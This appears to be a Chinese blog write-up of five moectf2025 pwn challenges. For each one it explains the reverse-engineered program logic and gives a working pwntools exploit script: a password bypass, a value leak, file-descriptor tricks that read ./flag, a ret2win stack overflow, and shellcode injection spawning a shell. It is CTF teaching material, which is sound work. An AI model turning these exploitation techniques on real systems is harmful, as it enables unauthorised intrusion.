2008 字
5 分钟
moectf2025_pwn_part.1(详细审计)
2026-03-22
统计加载中...

蒟蒻博主写蒟蒻wpwp(),感觉上学期学pwnpwn学的依托,于是打算借助moectfmoectf回炉重造一下。顺便回顾一些以前没注意到的细节。

hellopwn#

替换文本
替换文本
替换文本
替换文本
print_desc()print\_desc()其实就是打印了一张水箭龟的图片出来。
scanfscanf让我们输入一个整数,这个整数如果不等于passwordpassword的话就会直接退出,我们需要知道passwordpassword是多少。我们查看一下就会发现passwordpassword就藏在datadata段上,1BF4F1BF4F的十进制就是114511114511,我们输入即可。
替换文本
接着我们向bufbuf中写入6464个字节。bufbuf后续被传入bypassbypass并进行了判断。我们发现它第一个条件是如果bufbuf00似乎是能正常返回的,但实际上如果我们不向bufbuf上写入内容的话,缓冲区的内容不会被覆盖的,其中的随机数据不会满足条件。所以我们需要的是后一个条件,a1a1的(_DWORD\_DWORD,即前四个字节)为559038737-559038737(也就是0xDEADBEEF0xDEADBEEF),后四个字节为shuijianguishuijiangui,就可以正常返回。
接着就会跳转后门函数然后泄露flagflag了。
EXP:EXP:

from pwn import *
context(arch= 'amd64',os = 'linux',log_level = 'debug')
io = remote('127.0.0.1',40069)
#io = process('./hellopwn/pwn')
io.sendlineafter("password.",b'114511')
payload = p32(0xDEADBEEF) + b'shuijiangui'
io.sendafter("give the answer.",payload)
io.interactive()

ez_u64#

替换文本
替换文本
替换文本
checksecchecksec发现保护全开。看IDAIDA
IDAIDA中有initinitvulnvuln两个函数。initinit主要是初始化,关闭输入输出错误流。用fdfd文件描述符选择了/dev/random/dev/random目录下的一个文件进行读取。后两个0000分别表示只读模式和创建文件时的权限模式(此时是打开已有文件,可忽略)。
如果打开失败的话fd<0(fd < 0),就返回unrandomunrandom并退出。成功的话就从fdfd中读取88个字节,存储到numnum的地址处,8u8u即无符号数88。因此,numnum被赋值成了一个6464位的随机数。最后关闭文件描述符 close(fd)close(fd)
vulnvuln中首先初始化了v1v2v1,v2。值得注意的是注释显示了v2v2[rbp8h][rbp-8h],这是canarycanary的位置。后续我们也的确看到 v2=__readfsdword()0x28uv2 = \_\_readfsdword()0x28u ,也就是在fsfs段寄存器偏移0x280x28的位置读取值然后存入v2v2,而这个偏移0x280x28也就是canarycanary的位置。
然后我们看到write(1,&num,8u)write(1, \&num, 8u),也就是直接输出了numnum的值(之前写入的88字节随机数),不过要注意writewrite会直接输出原始88字节,我们接收后需要进行转化(其实就是用u64u64)。
接着来了一个scanfscanf,让我们输入%zu,也就是size_tsize\_t类型的无符号整数,然后存入v1v1的地址。(size_tsize\_t一般表示为88字节,与v1v1一致)。下面就是判断v1v1numnum是否相等了,相等的话就可以getshellgetshell了。最后的returnreturn是一种保护机制,如果尝试栈溢出的话,v2v2fsfs段偏移0x280x28canarycanary值就会不相等,返回值不为00,触发栈溢出保护终止程序。
由于scanfscanf中的""%zu",我们需要输入十进制的字符串(调用itobitob函数转换)。这里u64()u64()可以将88字节的小端序二进制数据转化为6464为无符号整数(u64u64默认采用小端序,与x86x86架构保持一致)。
EXP:EXP:

from pwn import *
context(arch = 'amd64',os = 'linux', log_level = 'debug')
io = process('./pwn')
#io = remote()
def itob(x):
return str(x).encode()
io.recvuntil('hint.')
num = io.recv(8)
b = u64(num)
io.sendline(itob(b))
io.interactive()

find_it#

替换文本
替换文本
checksecchecksec依旧是保护全开。看IDAIDA
除了主函数之外还有一个initinitinitinit里面跟上次一样关闭输入输出错误流。不过这次我们要注意初始化时fd=0,1,2fd=0,1,2分配给了stdin,stdout,stderr,stdin,stdout,stderr,所以下面的v3v3dup(1)dup(1)复制描述符时会从33开始创建新的文件描述符。
(dup(old_fd)(dup(old\_fd)复制而创建的新的描述符会指向跟原来相同的文件),write(v3......)write(v3......)会将这段字符串写入v3v3,然后打印出来。这里的close(1)close(1),关闭了文件描述符11,所以后续向11的写入都会失败。(但v3v3依旧有效)
这里用了一个scanf()scanf()输入,我们看到后续调用write()write()使用到了这个fd1fd1进行打印输出,但是11的描述符已被关闭,所以这里我们要输入33代替。
第二个输入让我们输入一个字符串然后传入filefile。我们看到后面紧接着就使用open()open()打开了这个文件,所以我们要输入我们想要打开的文件名称"./flag""./flag"。(这里大体也看出来是要我们直接读入文件并写出我们的flagflag了)
这里还要注意一点,由于此前关闭了描述符11,现在使用open()open()返回的文件描述符就是11了,所以在后续第三次输入的时候,要让read()read()读入文件内容到全局缓冲区bufbuf,我们需要将fd2fd2设置为11,也就是输入11
所以expexp也只需要发送三次相应的内容就可以了。
EXP:EXP:

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./find_it/pwn')
io = remote('127.0.0.1',36799)
io.recvuntil("Can you find it?\n")
io.sendline(b'3')
io.recvuntil("like to see?\n")
io.sendline(b'./flag')
io.recvuntil("its fd?\n")
io.sendline(b'1')
io.interactive()

ez_text#

替换文本
替换文本
替换文本
堪比pwnpwn界的hello,worldhello,world()
根据输出的提示我们已经可以知道这就是最简单的栈溢出了,有直接的后门函数treasuretreasureIDAIDA可以看到)。这里的让我们输入一个整数,然后将它传入到了overflow()overflow()里面。
overflowoverflow里面我们发现了read(0,buf,a1)read(0,buf,a1),也就是说我们写入的a1a1就是可以写入bufbuf的大小,我们根据后续溢出所需的字节大小再来决定究竟要写多少。(当然也可以无脑写非常大)
我们看到buf[8]buf[8],这意味着bufbuf字符数组的大小为88字节,加上我们想要覆盖返回地址也是88字节,所以要输入1616个字节来填充,接着跳转我们的后门函数就可以了。
tips:tips:注意这里还需要栈对齐(用一个gadget_retgadget\_ret)。栈对齐要求rsprsp在调用callcall的时候保证是1616的倍数,这一种x86_64Linuxx86\_64 LinuxSystemSystem VV ABIABI调用规定,如果未对齐的话会触发保护性异常,导致程序崩溃。
所以我们需要的字节数是16+8+816+8+8一共3232的字节。第一次输入的数字就填入3232或者更多即可。
EXP:EXP:

from pwn import *
context(arch = 'amd64',os = 'linux',log_level ='debug')
#io = process('./ez_text/pwn')
io = remote('127.0.0.1',39479)
treasure_addr = 0x4011B6
ret_addr = 0x40101a
payload1 = b'32'
io.sendline(payload1)
payload2 = b'a'*16 + p64(ret_addr) + p64(treasure_addr)
io.sendline(payload2)
io.interactive()

ez_shellcode#

替换文本
替换文本
保护全开。我们看看IDAIDA
代码很长,但是其实逻辑很简单。
我们看到使用了mmap(0,0x1000u,3,34,1,0)mmap(0,0x1000u,3,34,-1,0)系统调用申请了一块内存。对应的数字分别表示:地址(00,系统自动选择),申请地内存的大小(0x10000x1000字节),权限(3PROT_READ(1),PROT_WRITE(2)3,PROT\_READ(1),PROT\_WRITE(2),即可读可写,但不可执行。),标志(34,MAP_ANONYMOUS(0x20),MAP_PRIVATE(0x02)34,MAP\_ANONYMOUS(0x20),MAP\_PRIVATE(0x02),即匿名私有映射,不映射文件。
文件描述符(1-1,配合MAP_ANONUYMOUSMAP\_ANONUYMOUS)。
后面的判断是检测ss指向的内存空间是否有错误,有错误即返回11memset(s,0,0x1000u)memset(s,0,0x1000u)ss指向的内存地址全部初始化为00。然后初始化了v6v6,和protprot。(在后续会发现v6v6是检测有没有修改申请地址的权限,而protprot就是修改后的权限等级。)
scanf()scanf()让我们读入一个整数v4v4,结合后续的判断,v4v4会确定我们的protprot(将要修改的权限)具体是多少。
这里的dowhile()do,while()判断会不断读取字符,直到读取到EOF(1)EOF(-1)或者换行符(10)(10)时才跳出循环,这是为了防止影响到后续read()read()的读入。
后续即为条件控制语句,当输入141 - 4时会分别对应获取的权限为1,3,4,71,3,4,7(只可读,只可读写,只可执行,可读写可执行)。当如输入的数字大于44时,会跳转LABEL_24LABEL\_24,并提示选择错误然后退出。不过有且仅有输入44即权限为77时,申请的内存段上才有执行的权限。所以我们需要输入44,让我们后续输入的shellcodeshellcode能够成功地执行。
mprotect()mprotect()会将ss指向的内存进行修改,如果修改失败会返回1-1,并退出程序。
read()read()让我们输入我们的shellcodeshellcode,我们直接使用shellcraftshellcraft生成getshellgetshell的汇编代码即可。
这里的(void()(void)s)()(void(*)(void)s)()强制转换了ss的类型为无参数和无返回值的指针,并调用了该函数,即执行ss指向的内存段的代码。
EXP:EXP:

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote('127.0.0.1', 43645)
#io = process('./ez_shellcode/pwn')
io.recvuntil("Choose wisely!")
io.sendline(b'4')
io.recvuntil('permissions you just set.')
payload = asm(shellcraft.sh())
#print("length:",len(payload))l
io.sendline(payload)
io.interactive()
分享

如果这篇文章对你有帮助,欢迎分享给更多人!

moectf2025_pwn_part.1(详细审计)
https://mkrari.cn/posts/moectf2025_pwn_1/
作者
Mkrari
发布于
2026-03-22
许可协议
CC BY-NC-SA 4.0